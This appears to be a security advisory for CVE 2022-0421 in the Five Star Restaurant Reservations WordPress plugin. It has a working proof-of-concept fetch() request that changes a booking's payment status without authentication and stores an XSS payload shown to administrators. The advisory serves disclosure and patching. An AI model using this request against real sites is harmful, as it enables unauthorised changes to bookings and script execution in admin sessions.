Five Star Restaurant Reservations < 2.4.12 – Unauthenticated Arbitrary Payment Status Update to Stored XSS | CVE 2022-0421

Description

The plugin does not have authorisation when changing whether a payment was successful or failed, allowing unauthenticated users to change the payment status of arbitrary bookings. Furthermore, due to the lack of sanitisation and escaping, attackers could perform Cross-Site Scripting attacks against a logged in admin viewing the failed payments

Proof of Concept

As an unauthenticated user (booking_id needs to be valid):

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=rtb_stripe_pmt_succeed&success=false&message=<img src onerror=alert(1)>&booking_id=1",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));


The XSS will be triggered at http://example.com/wp-admin/admin.php?page=rtb-bookings&date_range=all&status=payment_failed